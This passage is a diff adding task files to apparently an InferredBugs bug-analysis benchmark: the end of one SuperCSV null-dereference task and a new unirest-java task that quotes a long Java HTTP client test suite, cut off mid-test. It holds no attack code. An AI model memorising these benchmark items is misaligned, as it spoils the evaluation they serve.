+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NullInputExceptionTest.testConstructor3()
+
+### Procedure Id:
+org.supercsv.exception.NullInputExceptionTest.testConstructor3():void.3b363f3a437b39551c936dd23d892150
+
+### File:
+src/test/java/org/supercsv/exception/NullInputExceptionTest.java
+
+### Key:
+NullInputExceptionTest.java|testConstructor3|NULL_DEREFERENCE
+
+### Node Key:
+47d1bd2a0b318b83bd2a989115cad1cc
+
+### Hash:
+2fb195c0db8b5e12758c68806d4a1b68
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6650/instruction.md b/inferredbugs-6650/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..907cbb83d093ff33b31592c0d4294f0f597213e9
--- /dev/null
+++ b/inferredbugs-6650/instruction.md
@@ -0,0 +1,935 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright for portions of OpenUnirest/uniresr-java are held by Mashape (c) 2013 as part of Kong/unirest-java.
+All other copyright for OpenUnirest/unirest-java are held by OpenUnirest (c) 2018.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+package io.github.openunirest.http;
+
+import io.github.openunirest.http.async.Callback;
+import io.github.openunirest.http.options.Options;
+import io.github.openunirest.request.body.MultipartBody;
+import io.github.openunirest.http.exceptions.UnirestException;
+import io.github.openunirest.request.GetRequest;
+import io.github.openunirest.request.HttpRequest;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.http.entity.ContentType;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.nio.client.HttpAsyncClientBuilder;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.*;
+
+import java.io.*;
+import java.net.InetAddress;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.junit.Assert.*;
+
+public class UnirestTest {
+
+	private CountDownLatch lock;
+	private boolean status;
+
+	@BeforeClass
+	public static void suiteSetUp(){
+		MockServer.start();
+	}
+
+	@AfterClass
+	public static void suiteTearDown(){
+		MockServer.shutdown();
+	}
+
+	@Before
+	public void setUp() {
+		MockServer.reset();
+		lock = new CountDownLatch(1);
+		status = false;
+	}
+
+	@Test
+	public void postFormReturnJson() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POSTJSON)
+				.header("accept", "application/json")
+				.field("param1", "value1")
+				.field("param2", "bye")
+				.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		FormCapture json = TestUtils.read(jsonResponse, FormCapture.class);
+		json.assertHeader("Accept", "application/json");
+		json.assertQuery("param1", "value1");
+		json.assertQuery("param2", "bye");
+	}
+
+	@Test
+	public void canPassQueryParamsOnStringOrWithForm() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=mark")
+				.header("accept", "application/json")
+				.asJson();
+
+		FormCapture json = TestUtils.read(response, FormCapture.class);
+		json.assertQuery("name", "mark");
+
+		response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("name", "mark2")
+				.asJson();
+
+		json = TestUtils.read(response, FormCapture.class);
+		json.assertQuery("name", "mark2");
+	}
+
+	@Test
+	public void multipleParams() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=ringo")
+				.header("accept", "application/json")
+				.queryString("name", "paul")
+				.queryString("name", "john")
+				.asJson();
+
+		FormCapture json = TestUtils.read(response, FormCapture.class);
+		json.assertQuery("name", "ringo");
+		json.assertQuery("name", "paul");
+		json.assertQuery("name", "john");
+	}
+
+	@Test
+	public void testGetUTF8() {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("param3", "こんにちは")
+				.asJson();
+
+		FormCapture json = TestUtils.read(response, FormCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostUTF8() {
+		HttpResponse response = Unirest.post(MockServer.POSTJSON)
+				.header("accept", "application/json")
+				.field("param3", "こんにちは")
+				.asJson();
+
+		FormCapture json = TestUtils.read(response, FormCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostBinaryUTF8() throws URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "こんにちは").field("file", new File(getClass().getResource("/test").toURI())).asJson();
+
+		assertEquals("This is a test file", response.getBody().getObject().getJSONObject("files").getString("file"));
+		assertEquals("こんにちは", response.getBody().getObject().getJSONObject("form").getString("param3"));
+	}
+
+	@Test
+	public void testPostRawBody() {
+		String sourceString = "'\"@こんにちは-test-123-" + Math.random();
+		byte[] sentBytes = sourceString.getBytes();
+
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").body(sentBytes).asJson();
+
+		assertEquals(sourceString, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testCustomUserAgent() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?name=mark").header("user-agent", "hello-world").asJson();
+		assertEquals("hello-world", response.getBody().getObject().getJSONObject("headers").getString("User-Agent"));
+
+		GetRequest getRequest = Unirest.get("http");
+		for (Object current : Arrays.asList(0, 1, 2)) {
+			getRequest.queryString("name", current);
+		}
+
+	}
+
+	@Test
+	public void testGetMultiple() throws JSONException, UnirestException {
+		for (int i = 1; i <= 20; i++) {
+			HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?try=" + i).asJson();
+			assertEquals(response.getBody().getObject().getJSONObject("args").getString("try"), ((Integer) i).toString());
+		}
+	}
+
+	@Test
+	public void testGetFields() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "mark").queryString("nick", "thefosk").asJson();
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("name"), "mark");
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("nick"), "thefosk");
+	}
+
+	@Test
+	public void testGetFields2() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("email", "hello@hello.com").asJson();
+		assertEquals("hello@hello.com", response.getBody().getObject().getJSONObject("args").getString("email"));
+	}
+
+	@Test
+	public void testQueryStringEncoding() throws JSONException, UnirestException {
+		String testKey = "email2=someKey&email";
+		String testValue = "hello@hello.com";
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString(testKey, testValue).asJson();
+		assertEquals(testValue, response.getBody().getObject().getJSONObject("args").getString(testKey));
+	}
+
+	@Test
+	public void testDelete() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").asJson();
+		assertEquals(200, response.getStatus());
+
+		response = Unirest.delete("http://httpbin.org/delete").field("name", "mark").asJson();
+		assertEquals("mark", response.getBody().getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testDeleteBody() throws JSONException, UnirestException {
+		String body = "{\"jsonString\":{\"members\":\"members1\"}}";
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").body(body).asJson();
+		assertEquals(200, response.getStatus());
+		assertEquals(body, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testBasicAuth() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/headers").basicAuth("user", "test").asJson();
+		assertEquals("Basic dXNlcjp0ZXN0", response.getBody().getObject().getJSONObject("headers").getString("Authorization"));
+	}
+
+	@Test
+	public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+		Future<HttpResponse<JsonNode>> future = Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync();
+
+		assertNotNull(future);
+		HttpResponse<JsonNode> jsonResponse = future.get();
+
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+
+	@Test
+	public void testAsyncCallback() throws JSONException, InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				assertTrue(jsonResponse.getHeaders().size() > 0);
+				assertTrue(jsonResponse.getBody().toString().length() > 0);
+				assertFalse(jsonResponse.getRawBody() == null);
+				assertEquals(200, jsonResponse.getStatus());
+
+				JsonNode json = jsonResponse.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("value1", json.getObject().getJSONObject("form").getString("param1"));
+				assertEquals("bye", json.getObject().getJSONObject("form").getString("param2"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipart() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartContentType() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/image.jpg").toURI()), "image/jpeg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:image/jpeg"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentType() throws JSONException, URISyntaxException, FileNotFoundException {
+		FileInputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		MultipartBody request = Unirest.post(MockServer.HOST + "/post")
+            .header("accept", ContentType.MULTIPART_FORM_DATA.toString())
+			.field("name", "Mark")
+			.field("file", stream, ContentType.APPLICATION_OCTET_STREAM, "image.jpg");
+
+		HttpResponse<JsonNode> jsonResponse = request
+			.asJson();
+
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		JSONObject object = json.getObject();
+		assertNotNull(object);
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(object.getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("type").contains("application/octet-stream"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentTypeAsync() throws JSONException, InterruptedException, URISyntaxException, FileNotFoundException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new FileInputStream(new File(getClass().getResource("/test").toURI())), ContentType.APPLICATION_OCTET_STREAM, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartByteContentType() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "image.jpg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:application/octet-stream"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartByteContentTypeAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/test").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, UnirestException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGzip() throws JSONException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testGzipAsync() throws JSONException, InterruptedException, ExecutionException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJsonAsync().get();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testDefaultHeaders() throws JSONException {
+		Unirest.setDefaultHeader("X-Custom-Header", "hello");
+		Unirest.setDefaultHeader("user-agent", "foobar");
+
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", json.getObject().getJSONObject("headers").getString("X-Custom-Header"));
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("User-Agent"));
+		assertEquals("foobar", json.getObject().getJSONObject("headers").getString("User-Agent"));
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", jsonResponse.getBody().getObject().getJSONObject("headers").getString("X-Custom-Header"));
+
+		Unirest.clearDefaultHeaders();
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertFalse(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+	}
+
+	@Test
+	public void testSetTimeouts() throws IOException {
+		String address = "http://" + findAvailableIpAddress() + "/";
+		long start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > Options.CONNECTION_TIMEOUT + 100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+		Unirest.setTimeouts(2000, 10000);
+		start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > 2100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+	}
+
+	@Test
+	public void testPathParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/{method}").routeParam("method", "get").queryString("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testQueryAndBodyParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/{method}").routeParam("method", "post").queryString("name", "Mark").field("wot", "wat").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("wot"), "wat");
+	}
+
+	@Test
+	public void testPathParameters2() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.patch("http://httpbin.org/{method}").routeParam("method", "patch").field("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals("OK", jsonResponse.getStatusText());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testMissingPathParameter() {
+		try {
+			Unirest.get("http://httpbin.org/{method}").routeParam("method222", "get").queryString("name", "Mark").asJson();
+			fail();
+		} catch (RuntimeException e) {
+			// OK
+		}
+	}
+
+	@Test
+	public void parallelTest() throws InterruptedException {
+		Unirest.setConcurrency(10, 5);
+
+		long start = System.currentTimeMillis();
+		makeParallelRequests();
+		long smallerConcurrencyTime = (System.currentTimeMillis() - start);
+
+		Unirest.setConcurrency(200, 20);
+		start = System.currentTimeMillis();
+		makeParallelRequests();
+		long higherConcurrencyTime = (System.currentTimeMillis() - start);
+
+		assertTrue(higherConcurrencyTime < smallerConcurrencyTime);
+	}
+
+	private void makeParallelRequests() throws InterruptedException {
+		ExecutorService newFixedThreadPool = Executors.newFixedThreadPool(10);
+		final AtomicInteger counter = new AtomicInteger(0);
+		for (int i = 0; i < 200; i++) {
+			newFixedThreadPool.execute(() -> {
+                try {
+                    Unirest.get(MockServer.HOST + "/get").queryString("index", counter.incrementAndGet()).asString();
+                } catch (UnirestException e) {
+                    throw new RuntimeException(e);
+                }
+            });
+		}
+
+		newFixedThreadPool.shutdown();
+		newFixedThreadPool.awaitTermination(10, TimeUnit.MINUTES);
+	}
+
+	@Test
+	public void testAsyncCustomContentType() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/json").body("{\"hello\":\"world\"}").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("{\"hello\":\"world\"}", json.getObject().getString("data"));
+				assertEquals("application/json", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testAsyncCustomContentTypeAndFormParams() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/x-www-form-urlencoded").field("name", "Mark").field("hello", "world").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+				assertEquals("world", json.getObject().getJSONObject("form").getString("hello"));
+
+				assertEquals("application/x-www-form-urlencoded", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGetQuerystringArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "Mark").queryString("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostMultipleFiles() throws JSONException, URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "wot").field("file1", new File(getClass().getResource("/test").toURI())).field("file2", new File(getClass().getResource("/test").toURI())).asJson();
+
+		JSONObject names = response.getBody().getObject().getJSONObject("files");
+		assertEquals(2, names.length());
+
+		assertEquals("This is a test file", names.getString("file1"));
+		assertEquals("This is a test file", names.getString("file2"));
+
+		assertEquals("wot", response.getBody().getObject().getJSONObject("form").getString("param3"));
+	}
+
+	@Test
+	public void testGetArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostCollection() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testCaseInsensitiveHeaders() {
+		GetRequest request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		JSONObject headers = request.asJson().getBody().getObject().getJSONObject("headers");
+		assertEquals("Marco", headers.getString("Name"));
+
+		request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco").header("Name", "John");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("John", request.getHeaders().get("name").get(1));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("John", request.getHeaders().get("NAme").get(1));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		assertEquals("John", request.getHeaders().get("Name").get(1));
+	}
+
+	@Test
+	public void setTimeoutsAndCustomClient() {
+		try {
+			Unirest.setTimeouts(1000, 2000);
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+
+		try {
+			Unirest.setHttpClient(HttpClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+	}
+
+	@Test
+	public void testObjectMapperRead() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse getResponseMock = new GetResponse();
+		getResponseMock.setUrl("http://httpbin.org/get");
+
+		HttpResponse<GetResponse> getResponse = Unirest.get(getResponseMock.getUrl()).asObject(GetResponse.class);
+
+		assertEquals(200, getResponse.getStatus());
+		assertEquals(getResponse.getBody().getUrl(), getResponseMock.getUrl());
+	}
+
+	@Test
+	public void testObjectMapperWrite() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
